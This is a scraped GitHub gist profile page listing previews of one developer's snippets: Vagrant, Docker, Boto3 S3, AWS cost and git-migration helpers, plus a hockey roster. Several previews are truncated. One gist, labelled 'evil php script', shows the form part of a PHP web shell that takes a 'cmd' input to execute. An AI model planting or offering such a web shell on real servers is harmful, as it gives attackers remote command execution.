Skip to content

Instantly share code, notes, and snippets.

View katzefudder's full-sized avatar
I invented a timemachine next week

Florian Dehn katzefudder

I invented a timemachine next week
View GitHub Profile
katzefudder / Vagrantfile
Last active December 21, 2023 08:44
Vagrant on Apple Silicon for ansible development
# -*- mode: ruby -*-
# vi: set ft=ruby :
Vagrant.configure(2) do |config| = "centos/7"
config.ssh.insert_key = true :private_network, ip: ""
config.vm.provider "qemu" do |qe|
FROM alpine:3.17
RUN apk --update --no-cache add curl bash nodejs=$NODEJS_VERSION npm
WORKDIR /var/www
RUN npm install -D tailwindcss@latest postcss@latest autoprefixer@latest
kubectl run -n jgroups-demo ispn -it --rm=true --image=belaban/ispn_perf_test
katzefudder /
Last active September 21, 2022 19:08
Using Ionos Cloud S3 with Boto3 and AWS CLI
import boto3
bucket_name="my_bucket" # add your bucket here
client = boto3.client('s3',
aws_access_key_id = "4ab...76", # add your access key
aws_secret_access_key = "nDkdd...Trdd" # add your secret key
katzefudder / Dockerfile
Last active May 25, 2024 14:35
A simple openresty proxy with metrics endpoint
FROM openresty/openresty:
ENV PATH=$PATH:/usr/local/openresty/luajit/bin:/usr/local/openresty/nginx/sbin:/usr/local/openresty/bin
RUN apk update \
&& apk add curl perl \
# install nginx-lua-openresty
&& opm get knyar/nginx-lua-prometheus \
&& mkdir -p /var/log/nginx \
&& mkdir /var/www \
katzefudder /
Created January 10, 2021 12:23
fetch the last months' costs from AWS
# displays the last month's costs in USD for tagged resources
# FIRST=$(date --date="$(date +'%Y-%m-01') - 1 month" +%s) # date on general Linux distributions
# LAST=$(date --date="$(date +'%Y-%m-01') - 1 second" +%s)
katzefudder / docker run elasticsearch
Last active June 20, 2020 09:48
Elasticsearch with images and fuzzy search
docker run --rm -d --name elasticsearch -p 9200:9200 -p 9300:9300 -e "discovery.type=single-node" elasticsearch:7.8.0
katzefudder / gist:d6635c72182b18b6a26ab12effc44a07
Created June 13, 2020 10:11
evil php script - small helper =)
<form method="get" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="text" name="cmd" id="cmd" size="80">
<input type="submit" value="Execute">
katzefudder / ec-bad-nauheim.txt
Last active January 22, 2020 14:03
Scrape DEL2 teams of eliteprospects using Python: scrapy
bn31 -31- Felix Bick (EC Bad Nauheim)
bn29 -29- David Böttcher (EC Bad Nauheim)
bn42 -42- Pierluigi Capo (EC Bad Nauheim)
bn53 -53- Bastian Kucis (EC Bad Nauheim)
bn85 -85- David-Lee Paton (EC Bad Nauheim)
bn19 -19- Mike Card (EC Bad Nauheim)
bn55 -55- Maximilian Glötzl (EC Bad Nauheim)
bn11 -11- Simon Gnyp (EC Bad Nauheim)
bn82 -82- Niklas Heyer (EC Bad Nauheim)
bn6 -6- Daniel Ketter (EC Bad Nauheim)
katzefudder /
Created July 25, 2019 08:13
Changing upstream from Gitlab to Bitbucket (migration)
function changeUpstream() {
cd /tmp && git clone --quiet $1
basename=$(basename $1)
cd $dirname
echo "###### You are about to execute the following commands on $basename ######"
command1="git remote set-url origin $2"